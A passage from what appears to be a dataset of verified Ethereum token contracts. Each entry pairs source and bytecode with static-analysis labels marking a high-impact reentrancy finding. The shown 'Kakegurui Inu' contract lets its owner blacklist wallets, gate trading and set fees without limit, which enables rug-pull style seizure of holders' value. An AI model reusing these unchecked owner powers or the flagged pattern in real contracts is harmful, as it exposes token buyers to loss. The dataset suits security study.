6c6c6f77616e6365a2646970667358221220a2d3301389975e1dd57125480bdcb2c60f67000e89172061db1d7df565c28d9464736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,397 |
0x543d9fff1899bbc3e5c57dd3a070d6b3a2c6bb6d | /**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/*
t.me/kakeguruiinu
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KakeguruiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Kakegurui Inu";
string private constant _symbol = "KAKEGURUI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 6;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping (address => bool) public preTrader;
mapping(address => uint256) private cooldown;
address payable private _opAddress = payable(0xA4745d4DEf938b54f80968d32aD3331BB6463ffc);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1500000000000 * 10**9; //1.5
uint256 public _maxWalletSize = 3000000000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 10000000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
// Uniswap V2 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_opAddress] = true;
preTrader[owner()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_opAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _opAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _opAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
} | 0x6080604052600436106101c55760003560e01c8063715018a6116100f757806398a5c31511610095578063bfd7928411610064578063bfd7928414610532578063c3c8cd8014610562578063dd62ed3e14610577578063ea1644d5146105bd57600080fd5b806398a5c315146104a2578063a2a957bb146104c2578063a9059cbb146104e2578063bdd795ef1461050257600080fd5b80638da5cb5b116100d15780638da5cb5b1461041c5780638f70ccf71461043a5780638f9a55c01461045a57806395d89b411461047057600080fd5b8063715018a6146103d157806374010ece146103e65780637d1db4a51461040657600080fd5b80632fd689e3116101645780636b9990531161013e5780636b9990531461035c5780636d8aa8f81461037c5780636fc3eaec1461039c57806370a08231146103b157600080fd5b80632fd689e31461030a578063313ce5671461032057806349bd5a5e1461033c57600080fd5b80631694505e116101a05780631694505e1461026b57806318160ddd146102a357806323b872dd146102ca5780632f9c4569146102ea57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023b57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611927565b6105dd565b005b3480156101ff57600080fd5b5060408051808201909152600d81526c4b616b65677572756920496e7560981b60208201525b6040516102329190611a51565b60405180910390f35b34801561024757600080fd5b5061025b6102563660046118fc565b61068a565b6040519015158152602001610232565b34801561027757600080fd5b5060145461028b906001600160a01b031681565b6040516001600160a01b039091168152602001610232565b3480156102af57600080fd5b5069152d02c7e14af68000005b604051908152602001610232565b3480156102d657600080fd5b5061025b6102e5366004611888565b6106a1565b3480156102f657600080fd5b506101f16103053660046118c8565b61070a565b34801561031657600080fd5b506102bc60185481565b34801561032c57600080fd5b5060405160098152602001610232565b34801561034857600080fd5b5060155461028b906001600160a01b031681565b34801561036857600080fd5b506101f1610377366004611818565b6107ce565b34801561038857600080fd5b506101f16103973660046119ee565b610819565b3480156103a857600080fd5b506101f1610861565b3480156103bd57600080fd5b506102bc6103cc366004611818565b61088e565b3480156103dd57600080fd5b506101f16108b0565b3480156103f257600080fd5b506101f1610401366004611a08565b610924565b34801561041257600080fd5b506102bc60165481565b34801561042857600080fd5b506000546001600160a01b031661028b565b34801561044657600080fd5b506101f16104553660046119ee565b610953565b34801561046657600080fd5b506102bc60175481565b34801561047c57600080fd5b506040805180820190915260098152684b414b45475552554960b81b6020820152610225565b3480156104ae57600080fd5b506101f16104bd366004611a08565b61099b565b3480156104ce57600080fd5b506101f16104dd366004611a20565b6109ca565b3480156104ee57600080fd5b5061025b6104fd3660046118fc565b610a08565b34801561050e57600080fd5b5061025b61051d366004611818565b60116020526000908152604090205460ff1681565b34801561053e57600080fd5b5061025b61054d366004611818565b60106020526000908152604090205460ff1681565b34801561056e57600080fd5b506101f1610a15565b34801561058357600080fd5b506102bc610592366004611850565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c957600080fd5b506101f16105d8366004611a08565b610a4b565b6000546001600160a01b031633146106105760405162461bcd60e51b815260040161060790611aa4565b60405180910390fd5b60005b81518110156106865760016010600084848151811061064257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067e81611bb7565b915050610613565b5050565b6000610697338484610a7a565b5060015b92915050565b60006106ae848484610b9e565b61070084336106fb85604051806060016040528060288152602001611c14602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906110a1565b610a7a565b5060019392505050565b6000546001600160a01b031633146107345760405162461bcd60e51b815260040161060790611aa4565b6001600160a01b03821660009081526011602052604090205460ff16151581151514156107a35760405162461bcd60e51b815260206004820152601760248201527f544f4b454e3a20416c726561647920656e61626c65642e0000000000000000006044820152606401610607565b6001600160a01b03919091166000908152601160205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146107f85760405162461bcd60e51b815260040161060790611aa4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161060790611aa4565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b03161461088157600080fd5b4761088b816110db565b50565b6001600160a01b03811660009081526002602052604081205461069b90611115565b6000546001600160a01b031633146108da5760405162461bcd60e51b815260040161060790611aa4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461094e5760405162461bcd60e51b815260040161060790611aa4565b601655565b6000546001600160a01b0316331461097d5760405162461bcd60e51b815260040161060790611aa4565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109c55760405162461bcd60e51b815260040161060790611aa4565b601855565b6000546001600160a01b031633146109f45760405162461bcd60e51b815260040161060790611aa4565b600893909355600a91909155600955600b55565b6000610697338484610b9e565b6013546001600160a01b0316336001600160a01b031614610a3557600080fd5b6000610a403061088e565b905061088b81611199565b6000546001600160a01b03163314610a755760405162461bcd60e51b815260040161060790611aa4565b601755565b6001600160a01b038316610adc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610607565b6001600160a01b038216610b3d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610607565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c025760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610607565b6001600160a01b038216610c645760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610607565b60008111610cc65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610607565b6000546001600160a01b03848116911614801590610cf257506000546001600160a01b03838116911614155b15610f9457601554600160a01b900460ff16610d96576001600160a01b03831660009081526011602052604090205460ff16610d965760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610607565b601654811115610de85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610607565b6001600160a01b03831660009081526010602052604090205460ff16158015610e2a57506001600160a01b03821660009081526010602052604090205460ff16155b610e825760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610607565b6015546001600160a01b03838116911614610f075760175481610ea48461088e565b610eae9190611b49565b10610f075760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610607565b6000610f123061088e565b601854601654919250821015908210610f2b5760165491505b808015610f425750601554600160a81b900460ff16155b8015610f5c57506015546001600160a01b03868116911614155b8015610f715750601554600160b01b900460ff165b15610f9157610f7f82611199565b478015610f8f57610f8f476110db565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff1680610fd657506001600160a01b03831660009081526005602052604090205460ff165b8061100857506015546001600160a01b0385811691161480159061100857506015546001600160a01b03848116911614155b156110155750600061108f565b6015546001600160a01b03858116911614801561104057506014546001600160a01b03848116911614155b1561105257600854600c55600954600d555b6015546001600160a01b03848116911614801561107d57506014546001600160a01b03858116911614155b1561108f57600a54600c55600b54600d555b61109b8484848461133e565b50505050565b600081848411156110c55760405162461bcd60e51b81526004016106079190611a51565b5060006110d28486611ba0565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610686573d6000803e3d6000fd5b600060065482111561117c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610607565b600061118661136c565b9050611192838261138f565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111ef57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561124357600080fd5b505afa158015611257573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061127b9190611834565b8160018151811061129c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546112c29130911684610a7a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112fb908590600090869030904290600401611ad9565b600060405180830381600087803b15801561131557600080fd5b505af1158015611329573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061134b5761134b6113d1565b6113568484846113ff565b8061109b5761109b600e54600c55600f54600d55565b60008060006113796114f6565b9092509050611388828261138f565b9250505090565b600061119283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061153a565b600c541580156113e15750600d54155b156113e857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061141187611568565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061144390876115c5565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114729086611607565b6001600160a01b03891660009081526002602052604090205561149481611666565b61149e84836116b0565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114e391815260200190565b60405180910390a3505050505050505050565b600654600090819069152d02c7e14af6800000611513828261138f565b8210156115315750506006549269152d02c7e14af680000092509050565b90939092509050565b6000818361155b5760405162461bcd60e51b81526004016106079190611a51565b5060006110d28486611b61565b60008060008060008060008060006115858a600c54600d546116d4565b925092509250600061159561136c565b905060008060006115a88e878787611729565b919e509c509a509598509396509194505050505091939550919395565b600061119283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a1565b6000806116148385611b49565b9050838110156111925760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610607565b600061167061136c565b9050600061167e8383611779565b3060009081526002602052604090205490915061169b9082611607565b30600090815260026020526040902055505050565b6006546116bd90836115c5565b6006556007546116cd9082611607565b6007555050565b60008080806116ee60646116e88989611779565b9061138f565b9050600061170160646116e88a89611779565b90506000611719826117138b866115c5565b906115c5565b9992985090965090945050505050565b60008080806117388886611779565b905060006117468887611779565b905060006117548888611779565b905060006117668261171386866115c5565b939b939a50919850919650505050505050565b6000826117885750600061069b565b60006117948385611b81565b9050826117a18583611b61565b146111925760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610607565b803561180381611bfe565b919050565b8035801515811461180357600080fd5b600060208284031215611829578081fd5b813561119281611bfe565b600060208284031215611845578081fd5b815161119281611bfe565b60008060408385031215611862578081fd5b823561186d81611bfe565b9150602083013561187d81611bfe565b809150509250929050565b60008060006060848603121561189c578081fd5b83356118a781611bfe565b925060208401356118b781611bfe565b929592945050506040919091013590565b600080604083850312156118da578182fd5b82356118e581611bfe565b91506118f360208401611808565b90509250929050565b6000806040838503121561190e578182fd5b823561191981611bfe565b946020939093013593505050565b60006020808385031215611939578182fd5b823567ffffffffffffffff80821115611950578384fd5b818501915085601f830112611963578384fd5b81358181111561197557611975611be8565b8060051b604051601f19603f8301168101818110858211171561199a5761199a611be8565b604052828152858101935084860182860187018a10156119b8578788fd5b8795505b838610156119e1576119cd816117f8565b8552600195909501949386019386016119bc565b5098975050505050505050565b6000602082840312156119ff578081fd5b61119282611808565b600060208284031215611a19578081fd5b5035919050565b60008060008060808587031215611a35578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611a7d57858101830151858201604001528201611a61565b81811115611a8e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b285784516001600160a01b031683529383019391830191600101611b03565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b5c57611b5c611bd2565b500190565b600082611b7c57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611b9b57611b9b611bd2565b500290565b600082821015611bb257611bb2611bd2565b500390565b6000600019821415611bcb57611bcb611bd2565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088b57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205d7f3580b7cb030b8b01fa7fcd00ed2576e86888107d1dbbe55a1581f319eac364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,398 |
0x420a43153da24b9e2aedcec2b8158a8653a3317e | pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
